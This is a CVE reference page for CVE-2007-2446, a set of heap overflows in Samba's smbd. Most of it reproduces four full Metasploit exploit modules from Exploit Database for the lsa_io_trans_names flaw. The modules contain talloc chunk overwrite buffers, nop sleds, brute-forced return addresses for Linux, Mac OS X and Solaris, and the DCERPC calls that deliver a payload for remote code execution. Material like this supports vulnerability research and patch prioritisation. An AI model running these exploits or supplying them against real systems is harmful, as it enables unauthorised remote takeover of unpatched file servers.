Notifications for a CVE
Stay informed of any changes for a specific CVE.
CVE Descriptions
Multiple heap-based buffer overflows in the NDR parsing in smbd in Samba 3.0.0 through 3.0.25rc3 allow remote attackers to execute arbitrary code via crafted MS-RPC requests involving (1) DFSEnum (netdfs_io_dfs_EnumInfo_d), (2) RFNPCNEX (smb_io_notify_option_type_data), (3) LsarAddPrivilegesToAccount (lsa_io_privilege_set), (4) NetSetFileSecurity (sec_io_acl), or (5) LsarLookupSids/LsarLookupSids2 (lsa_io_trans_names).
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 10 | AV:N/AC:L/Au:N/C:C/I:C/A:C | [email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 9950
Publication date : 2007-05-13 22h00 +00:00
Author : Adriano Lima
EDB Verified : Yes
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Brute
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba lsa_io_trans_names Heap Overflow',
'Description' => %q{
This module triggers a heap overflow in the LSA RPC service
of the Samba daemon. This module uses the TALLOC chunk overwrite
method (credit Ramon and Adriano), which only works with Samba
versions 3.0.21-3.0.24. Additonally, this module will not work
when the Samba "log level" parameter is higher than "2".
},
'Author' =>
[
'ramon',
'Adriano Lima <[email protected]>',
'hdm'
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['CVE', '2007-2446'],
['OSVDB', '34699'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1024, # no limit really
},
'Platform' => 'linux',
'DefaultOptions' =>
{
'PrependSetresuid' => true,
'PrependSetreuid' => true,
'PrependSetuid' => true,
},
'Targets' =>
[
['Linux vsyscall',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xffffe410 },
'Stop' => { 'Ret' => 0xffffe413 },
'Step' => 1,
}
}
],
##
# 08356000-0843d000 rwxp 08356000 00:00 0 (Debian) # KF
# 80300000-8042f000 rw-p 80300000 00:00 0 (Gentoo) # hdm
# b800f000-b80c9000 rwxp b800f000 00:00 0 (RHEL/CentOS) # Adriano/Ramon
# 80365000-80424000 rwxp 80365000 00:00 0 (SUSE) # Adriano/Ramon
# 8033c000-80412000 rwxp 00000000 00:00 0 (Slackware) # Adriano/Ramon
# 08342000-08436000 rwxp 00000000 00:00 0 (Ubuntu) # hdm
# 08270000-0837f000 rwxp 00000000 00:00 0 (SNAP) # Andrew
#
##
['Linux Heap Brute Force (Debian/Ubuntu)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x08352000 },
'Stop' => { 'Ret' => 0x0843d000 },
'Step' => 60*1024,
}
}
],
['Linux Heap Brute Force (Gentoo)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x80310000 },
'Stop' => { 'Ret' => 0x8042f000 },
'Step' => 60*1024,
}
}
],
['Linux Heap Brute Force (Mandriva)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x80380000 },
'Stop' => { 'Ret' => 0x8045b000 },
'Step' => 60*1024,
}
}
],
['Linux Heap Brute Force (RHEL/CentOS)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb800f000 },
'Stop' => { 'Ret' => 0xb80c9000 },
'Step' => 60*1024,
}
}
],
['Linux Heap Brute Force (SUSE)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x80365000 },
'Stop' => { 'Ret' => 0x80424000 },
'Step' => 60*1024,
}
}
],
['Linux Heap Brute Force (Slackware)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x8033c000 },
'Stop' => { 'Ret' => 0x80412000 },
'Step' => 60*1024,
}
}
],
['DEBUG',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xAABBCCDD },
'Stop' => { 'Ret' => 0xAABBCCDD },
'Step' => 4,
}
}
],
],
'DisclosureDate' => 'May 14 2007',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),
], self.class)
end
# Need to perform target detection
def autofilter
begin
connect()
smb_login()
disconnect()
if (smb_peer_lm() =~ /Samba/i)
true
else
false
end
rescue ::Exception
false
end
end
def check
autofilter() ? CheckCode::Detected : CheckCode::Safe
end
def brute_exploit(target_addrs)
if(not @nops)
if (target['Nops'] > 0)
print_status("Creating nop sled....")
@nops = make_nops(target['Nops'])
else
@nops = ''
end
# @nops = "\xcc" * (@nops.length)
end
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
nops = @nops
pipe = datastore['SMBPIPE'].downcase
print_status("Connecting to the SMB service...")
connect()
smb_login()
datastore['DCERPC::fake_bind_multi'] = false
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
jumper = "P" * 256
jumper[24, 5] = "\xe9" + [-5229-11-5-(nops.length/2)].pack('V')
num_entries = 256
num_entries2 = 272
# first talloc_chunk
# 16 bits align
# 16 bits sid_name_use
# 16 bits uni_str_len
# 16 bits uni_max_len
# 32 bits buffer
# 32 bits domain_idx
buf = (('A' * 16) * num_entries)
# padding
buf << 'A' * 8
# TALLOC_MAGIC
talloc_magic = "\x70\xec\x14\xe8"
# second talloc_chunk header
buf << 'A' * 8 # next, prev
buf << NDR.long(0) + NDR.long(0) # parent, child
buf << NDR.long(0) # refs
buf << [target_addrs['Ret']].pack('V') # destructor
buf << 'A' * 4 # name
buf << 'A' * 4 # size
buf << talloc_magic # flags
buf << jumper
stub = lsa_open_policy(dcerpc)
stub << NDR.long(0) # num_entries
stub << NDR.long(0) # ptr_sid_enum
stub << NDR.long(num_entries) # num_entries
stub << NDR.long(0x20004) # ptr_trans_names
stub << NDR.long(num_entries2) # num_entries2
stub << buf
stub << nops
stub << payload.encoded
print_status("Calling the vulnerable function...")
begin
# LsarLookupSids
dcerpc.call(0x0f, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
print_good('Server did not respond, this is expected')
rescue Rex::Proto::DCERPC::Exceptions::Fault
print_error('Server is most likely patched...')
rescue => e
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
print_good('Server disconnected, this is expected')
else
print_error("Error: #{e.class}: #{e}")
end
end
handler
disconnect
end
def lsa_open_policy(dcerpc, server="\\")
stubdata =
# Server
NDR.uwstring(server) +
# Object Attributes
NDR.long(24) + # SIZE
NDR.long(0) + # LSPTR
NDR.long(0) + # NAME
NDR.long(0) + # ATTRS
NDR.long(0) + # SEC DES
# LSA QOS PTR
NDR.long(1) + # Referent
NDR.long(12) + # Length
NDR.long(2) + # Impersonation
NDR.long(1) + # Context Tracking
NDR.long(0) + # Effective Only
# Access Mask
NDR.long(0x02000000)
res = dcerpc.call(6, stubdata)
dcerpc.last_response.stub_data[0,20]
end
end
Exploit Database EDB-ID : 16859
Publication date : 2010-07-13 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id: lsa_transnames_heap.rb 9828 2010-07-14 17:27:23Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Brute
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba lsa_io_trans_names Heap Overflow',
'Description' => %q{
This module triggers a heap overflow in the LSA RPC service
of the Samba daemon. This module uses the TALLOC chunk overwrite
method (credit Ramon and Adriano), which only works with Samba
versions 3.0.21-3.0.24. Additonally, this module will not work
when the Samba "log level" parameter is higher than "2".
},
'Author' =>
[
'ramon',
'Adriano Lima <[email protected]>',
'hdm'
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9828 $',
'References' =>
[
['CVE', '2007-2446'],
['OSVDB', '34699'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1024, # no limit really
},
'Platform' => 'linux',
'DefaultOptions' =>
{
'PrependSetresuid' => true,
'PrependSetreuid' => true,
'PrependSetuid' => true,
},
'Targets' =>
[
['Linux vsyscall',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xffffe410 },
'Stop' => { 'Ret' => 0xffffe413 },
'Step' => 1,
}
}
],
##
# 08356000-0843d000 rwxp 08356000 00:00 0 (Debian) # KF
# 80300000-8042f000 rw-p 80300000 00:00 0 (Gentoo) # hdm
# b800f000-b80c9000 rwxp b800f000 00:00 0 (RHEL/CentOS) # Adriano/Ramon
# 80365000-80424000 rwxp 80365000 00:00 0 (SUSE) # Adriano/Ramon
# 8033c000-80412000 rwxp 00000000 00:00 0 (Slackware) # Adriano/Ramon
# 08342000-08436000 rwxp 00000000 00:00 0 (Ubuntu) # hdm
# 08270000-0837f000 rwxp 00000000 00:00 0 (SNAP) # Andrew
#
##
['Linux Heap Brute Force (Debian/Ubuntu)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x08352000 },
'Stop' => { 'Ret' => 0x0843d000 },
'Step' => 60*1024,
}
}
],
['Linux Heap Brute Force (Gentoo)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x80310000 },
'Stop' => { 'Ret' => 0x8042f000 },
'Step' => 60*1024,
}
}
],
['Linux Heap Brute Force (Mandriva)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x80380000 },
'Stop' => { 'Ret' => 0x8045b000 },
'Step' => 60*1024,
}
}
],
['Linux Heap Brute Force (RHEL/CentOS)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb800f000 },
'Stop' => { 'Ret' => 0xb80c9000 },
'Step' => 60*1024,
}
}
],
['Linux Heap Brute Force (SUSE)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x80365000 },
'Stop' => { 'Ret' => 0x80424000 },
'Step' => 60*1024,
}
}
],
['Linux Heap Brute Force (Slackware)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x8033c000 },
'Stop' => { 'Ret' => 0x80412000 },
'Step' => 60*1024,
}
}
],
['DEBUG',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Nops' => 1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xAABBCCDD },
'Stop' => { 'Ret' => 0xAABBCCDD },
'Step' => 4,
}
}
],
],
'DisclosureDate' => 'May 14 2007',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),
], self.class)
end
def check
begin
connect()
smb_login()
disconnect()
if (smb_peer_lm() =~ /Samba/i)
return CheckCode::Detected
else
return CheckCode::Safe
end
rescue ::Exception
return CheckCode::Safe
end
end
def brute_exploit(target_addrs)
if(not @nops)
if (target['Nops'] > 0)
print_status("Creating nop sled....")
@nops = make_nops(target['Nops'])
else
@nops = ''
end
# @nops = "\xcc" * (@nops.length)
end
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
nops = @nops
pipe = datastore['SMBPIPE'].downcase
print_status("Connecting to the SMB service...")
connect()
smb_login()
if ! @checked_peerlm
if smb_peer_lm !~ /Samba 3\.0\.2[1234]/i
raise RuntimeError, "This target is not a vulnerable Samba server (#{smb_peer_lm})"
end
end
@checked_peerlm = true
datastore['DCERPC::fake_bind_multi'] = false
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
jumper = "P" * 256
jumper[24, 5] = "\xe9" + [-5229-11-5-(nops.length/2)].pack('V')
num_entries = 256
num_entries2 = 272
# first talloc_chunk
# 16 bits align
# 16 bits sid_name_use
# 16 bits uni_str_len
# 16 bits uni_max_len
# 32 bits buffer
# 32 bits domain_idx
buf = (('A' * 16) * num_entries)
# padding
buf << 'A' * 8
# TALLOC_MAGIC
talloc_magic = "\x70\xec\x14\xe8"
# second talloc_chunk header
buf << 'A' * 8 # next, prev
buf << NDR.long(0) + NDR.long(0) # parent, child
buf << NDR.long(0) # refs
buf << [target_addrs['Ret']].pack('V') # destructor
buf << 'A' * 4 # name
buf << 'A' * 4 # size
buf << talloc_magic # flags
buf << jumper
stub = lsa_open_policy(dcerpc)
stub << NDR.long(0) # num_entries
stub << NDR.long(0) # ptr_sid_enum
stub << NDR.long(num_entries) # num_entries
stub << NDR.long(0x20004) # ptr_trans_names
stub << NDR.long(num_entries2) # num_entries2
stub << buf
stub << nops
stub << payload.encoded
print_status("Calling the vulnerable function...")
begin
# LsarLookupSids
dcerpc.call(0x0f, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
print_status('Server did not respond, this is expected')
rescue Rex::Proto::DCERPC::Exceptions::Fault
print_error('Server is most likely patched...')
rescue => e
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
print_status('Server disconnected, this is expected')
else
print_error("Error: #{e.class}: #{e}")
end
end
handler
disconnect
end
def lsa_open_policy(dcerpc, server="\\")
stubdata =
# Server
NDR.uwstring(server) +
# Object Attributes
NDR.long(24) + # SIZE
NDR.long(0) + # LSPTR
NDR.long(0) + # NAME
NDR.long(0) + # ATTRS
NDR.long(0) + # SEC DES
# LSA QOS PTR
NDR.long(1) + # Referent
NDR.long(12) + # Length
NDR.long(2) + # Impersonation
NDR.long(1) + # Context Tracking
NDR.long(0) + # Effective Only
# Access Mask
NDR.long(0x02000000)
res = dcerpc.call(6, stubdata)
dcerpc.last_response.stub_data[0,20]
end
end
Exploit Database EDB-ID : 16875
Publication date : 2010-04-04 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id: lsa_transnames_heap.rb 9021 2010-04-05 23:34:10Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Brute
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba lsa_io_trans_names Heap Overflow',
'Description' => %q{
This module triggers a heap overflow in the LSA RPC service
of the Samba daemon. This module uses the szone_free() to overwrite
the size() or free() pointer in initial_malloc_zones structure.
},
'Author' =>
[
'ramon',
'Adriano Lima <[email protected]>',
'hdm'
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9021 $',
'References' =>
[
['CVE', '2007-2446'],
['OSVDB', '34699'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
},
'Platform' => 'osx',
'DefaultOptions' =>
{
'PrependSetresuid' => true,
},
'Targets' =>
[
['Mac OS X 10.4.x x86 Samba 3.0.10',
{
'Platform' => 'osx',
'Arch' => [ ARCH_X86 ],
'Nops' => 4 * 1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x01818000 },
'Stop' => { 'Ret' => 0x01830000 },
'Step' => 3351,
},
}
],
['Mac OS X 10.4.x PPC Samba 3.0.10',
{
'Platform' => 'osx',
'Arch' => [ ARCH_PPC ],
'Nops' => 1600,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x01813000 },
'Stop' => { 'Ret' => 0x01830000 },
'Step' => 796,
}
}
],
['DEBUG',
{
'Platform' => 'osx',
'Arch' => [ ARCH_X86 ],
'Nops' => 4 * 1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xaabbccdd },
'Stop' => { 'Ret' => 0xaabbccdd },
'Step' => 0,
}
}
],
],
'DisclosureDate' => 'May 14 2007'
))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),
], self.class)
end
# Handle a strange byteswapping issue on PPC
def ppc_byteswap(addr)
data = [addr].pack('N')
(data[1,1] + data[0,1] + data[3,1] + data[2,1]).unpack('N')[0]
end
def brute_exploit(target_addrs)
if(not @nops)
if (target['Nops'] > 0)
print_status("Creating nop sled....")
@nops = make_nops(target['Nops'])
else
@nops = ''
end
end
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
pipe = datastore['SMBPIPE'].downcase
print_status("Connecting to the SMB service...")
connect()
smb_login()
datastore['DCERPC::fake_bind_multi'] = false
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
num_entries = 256
num_entries2 = 257
#
# First talloc_chunk
# 16 bits align
# 16 bits sid_name_use
# 16 bits uni_str_len
# 16 bits uni_max_len
# 32 bits buffer
# 32 bits domain_idx
#
buf = (('A' * 16) * num_entries)
# Padding
buf << 'A' * 4
#
# Use the szone_free() to overwrite the size() pointer in
# initial_malloc_zones structure.
#
size_pointer = 0x1800008
# Initial nops array
nops = ''
# x86
if (target.arch.include?(ARCH_X86))
#
# We don't use the size() pointer anymore because it
# results in a unexpected behavior when smbd process
# is started by launchd.
#
free_pointer = 0x1800018
nop = "\x16"
#
# First talloc_chunk
# 16 bits align
# 16 bits sid_name_use
# 16 bits uni_str_len
# 16 bits uni_max_len
# 32 bits buffer
# 32 bits domain_idx
#
# First nop block
buf = ((nop * 16) * num_entries)
#
# A nop block of 0x16 (pushl %ss) and the address of
# 0x1800014 results in a jns instruction which when
# executed will jump over the address written eight
# bytes past our target address by szone_free() (the
# sign flag is zero at the moment our target address is
# executed).
#
# 0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 0x17962379
#
# This is the output of the sequence of xor operations
# 0: 79 23 jns 0x25
# 2: 96 xchgl %eax,%esi
# 3: 17 popl %ss
# 4: 16 pushl %ss
# 5: 16 pushl %ss
# 6: 16 pushl %ss
# 7: 16 pushl %ss
# 8: 14 00 adcb $0x0,%al
# a: 80 01 16 addb $0x16,(%ecx)
#
# This jump is needed because the ecx register does not
# point to a valid memory location in free() context
# (it is zero).
#
# The jump will hit our nop block which will be executed
# until it reaches the payload.
#
# Padding nops
buf << nop * 2
# Jump over the pointers
buf << "\xeb\x08"
# Pointers
buf << [target_addrs['Ret']].pack('V')
buf << [free_pointer - 4].pack('V')
#
# We expect to hit this nop block or the one before
# the pointers.
#
buf << nop * (3852 - 8 - payload.encoded.length)
# Payload
buf << payload.encoded
# Padding nops
buf << nop * 1024
stub = lsa_open_policy(dcerpc)
stub << NDR.long(0) # num_entries
stub << NDR.long(0) # ptr_sid_enum
stub << NDR.long(num_entries) # num_entries
stub << NDR.long(0x20004) # ptr_trans_names
stub << NDR.long(num_entries2) # num_entries2
stub << buf
# PPC
else
#
# The first half of the nop sled is an XOR encoded branch
# instruction. The second half is a series of unencoded nop
# instructions. The result is:
#
# > This is the decoded branch instruction
# 0x181c380: bl 0x181c6a0
#
# > The size pointer is written below this
# 0x181c384: .long 0x1800004
#
# > Followed by the encoded branch sled
# 0x181c388: ba 0x180365c
# [ ... ]
#
# > The branch lands in the normal nop sled
# 0x181c6a0: andi. r17,r16,58162
# [ ... ]
#
# > Finally we reach our payload :-)
#
size_pointer = size_pointer - 4
sled = target['Nops']
jump = [ 0x357b ^ ( size_pointer ^ (0x48000001 + sled / 2 )) ].pack('N')
nops = (jump * (sled / 8)) + @nops[0, sled / 8]
addr_size = ppc_byteswap(size_pointer)
addr_ret = ppc_byteswap(target_addrs['Ret'])
# This oddness is required for PPC
buf << [addr_size].pack('N')
buf << [addr_ret ].pack('N')[2,2]
buf << [addr_ret ].pack('N')
# Padding
buf << "A" * (256 - 10)
stub = lsa_open_policy(dcerpc)
stub << NDR.long(0) # num_entries
stub << NDR.long(0) # ptr_sid_enum
stub << NDR.long(num_entries) # num_entries
stub << NDR.long(0x20004) # ptr_trans_names
stub << NDR.long(num_entries2) # num_entries2
stub << buf
stub << nops
stub << payload.encoded
end
print_status("Calling the vulnerable function...")
begin
# LsarLookupSids
dcerpc.call(0x0f, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
print_status('Server did not respond, this is expected')
rescue Rex::Proto::DCERPC::Exceptions::Fault
print_error('Server is most likely patched...')
rescue => e
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
print_status('Server disconnected, this is expected')
else
print_error("Error: #{e.class}: #{e}")
end
end
handler
disconnect
end
def lsa_open_policy(dcerpc, server="\\")
stubdata =
# Server
NDR.uwstring(server) +
# Object Attributes
NDR.long(24) + # SIZE
NDR.long(0) + # LSPTR
NDR.long(0) + # NAME
NDR.long(0) + # ATTRS
NDR.long(0) + # SEC DES
# LSA QOS PTR
NDR.long(1) + # Referent
NDR.long(12) + # Length
NDR.long(2) + # Impersonation
NDR.long(1) + # Context Tracking
NDR.long(0) + # Effective Only
# Access Mask
NDR.long(0x02000000)
res = dcerpc.call(6, stubdata)
dcerpc.last_response.stub_data[0,20]
end
end
Exploit Database EDB-ID : 16329
Publication date : 2010-04-04 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id: lsa_transnames_heap.rb 9021 2010-04-05 23:34:10Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Brute
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba lsa_io_trans_names Heap Overflow',
'Description' => %q{
This module triggers a heap overflow in the LSA RPC service
of the Samba daemon. This module uses the TALLOC chunk overwrite
method (credit Ramon and Adriano), which only works with Samba
versions 3.0.21-3.0.24. Additionally, this module will not work
when the Samba "log level" parameter is higher than "2".
},
'Author' =>
[
'ramon',
'Adriano Lima <[email protected]>',
'hdm'
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9021 $',
'References' =>
[
['CVE', '2007-2446'],
['OSVDB', '34699'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
},
'Platform' => 'solaris',
'Targets' =>
[
['Solaris 8/9/10 x86 Samba 3.0.21-3.0.24',
{
'Platform' => 'solaris',
'Arch' => [ ARCH_X86 ],
'Nops' => 64 * 1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x082f2000 },
'Stop' => { 'Ret' => 0x084f2000 },
'Step' => 60 * 1024,
}
}
],
['Solaris 8/9/10 SPARC Samba 3.0.21-3.0.24',
{
'Platform' => 'solaris',
'Arch' => [ ARCH_SPARC ],
'Nops' => 64 * 1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x00322000 },
'Stop' => { 'Ret' => 0x00722000 },
'Step' => 60 * 1024,
}
}
],
['DEBUG',
{
'Platform' => 'solaris',
'Arch' => [ ARCH_X86 ],
'Nops' => 64 * 1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xaabbccdd },
'Stop' => { 'Ret' => 0xaabbccdd },
'Step' => 60 * 1024,
}
}
],
],
'DisclosureDate' => 'May 14 2007',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),
], self.class)
end
# Need to perform target detection
def autofilter
false
end
def brute_exploit(target_addrs)
if(not @nops)
if (target['Nops'] > 0)
print_status("Creating nop sled....")
@nops = make_nops(target['Nops'])
else
@nops = ''
end
end
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
nops = @nops
pipe = datastore['SMBPIPE'].downcase
print_status("Connecting to the SMB service...")
connect()
smb_login()
datastore['DCERPC::fake_bind_multi'] = false
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
num_entries = 272
num_entries2 = 288
#
# First talloc_chunk
# 16 bits align
# 16 bits sid_name_use
# 16 bits uni_str_len
# 16 bits uni_max_len
# 32 bits buffer
# 32 bits domain_idx
#
buf = (('A' * 16) * num_entries)
# Padding
buf << 'A' * 8
# TALLOC_MAGIC
talloc_magic = "\x70\xec\x14\xe8"
# Second talloc_chunk header
buf << 'A' * 8 # next, prev
buf << NDR.long(0) + NDR.long(0) # parent, child
buf << NDR.long(0) # refs
buf << [target_addrs['Ret']].pack('V') # destructor
buf << 'A' * 4 # name
buf << 'A' * 4 # size
buf << talloc_magic # flags
stub = lsa_open_policy(dcerpc)
stub << NDR.long(0) # num_entries
stub << NDR.long(0) # ptr_sid_enum
stub << NDR.long(num_entries) # num_entries
stub << NDR.long(0x20004) # ptr_trans_names
stub << NDR.long(num_entries2) # num_entries2
stub << buf
stub << nops
stub << payload.encoded
print_status("Calling the vulnerable function...")
begin
# LsarLookupSids
dcerpc.call(0x0f, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
print_status('Server did not respond, this is expected')
rescue Rex::Proto::DCERPC::Exceptions::Fault
print_error('Server is most likely patched...')
rescue => e
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
print_status('Server disconnected, this is expected')
else
print_error("Error: #{e.class}: #{e}")
end
end
handler
disconnect
end
def lsa_open_policy(dcerpc, server="\\")
stubdata =
# Server
NDR.uwstring(server) +
# Object Attributes
NDR.long(24) + # SIZE
NDR.long(0) + # LSPTR
NDR.long(0) + # NAME
NDR.long(0) + # ATTRS
NDR.long(0) + # SEC DES
# LSA QOS PTR
NDR.long(1) + # Referent
NDR.long(12) + # Length
NDR.long(2) + # Impersonation
NDR.long(1) + # Context Tracking
NDR.long(0) + # Effective Only
# Access Mask
NDR.long(0x02000000)
res = dcerpc.call(6, stubdata)
dcerpc.last_response.stub_data[0,20]
end
end
Products Mentioned
Configuraton 0
Samba>>Samba >> Version 3.0.0
- Samba>>Samba >> Version 3.0.0 (Open CPE detail)
Samba>>Samba >> Version 3.0.1
- Samba>>Samba >> Version 3.0.1 (Open CPE detail)
Samba>>Samba >> Version 3.0.2
- Samba>>Samba >> Version 3.0.2 (Open CPE detail)
- Samba>>Samba >> Version 3.0.2 (Open CPE detail)
- Samba>>Samba >> Version 3.0.2 (Open CPE detail)
Samba>>Samba >> Version 3.0.2a
- Samba>>Samba >> Version 3.0.2a (Open CPE detail)
Samba>>Samba >> Version 3.0.10
- Samba>>Samba >> Version 3.0.10 (Open CPE detail)
Samba>>Samba >> Version 3.0.11
- Samba>>Samba >> Version 3.0.11 (Open CPE detail)
Samba>>Samba >> Version 3.0.12
- Samba>>Samba >> Version 3.0.12 (Open CPE detail)
Samba>>Samba >> Version 3.0.13
- Samba>>Samba >> Version 3.0.13 (Open CPE detail)
Samba>>Samba >> Version 3.0.14
- Samba>>Samba >> Version 3.0.14 (Open CPE detail)
- Samba>>Samba >> Version 3.0.14 (Open CPE detail)
- Samba>>Samba >> Version 3.0.14 (Open CPE detail)
Samba>>Samba >> Version 3.0.14a
- Samba>>Samba >> Version 3.0.14a (Open CPE detail)
Samba>>Samba >> Version 3.0.15
- Samba>>Samba >> Version 3.0.15 (Open CPE detail)
Samba>>Samba >> Version 3.0.16
- Samba>>Samba >> Version 3.0.16 (Open CPE detail)
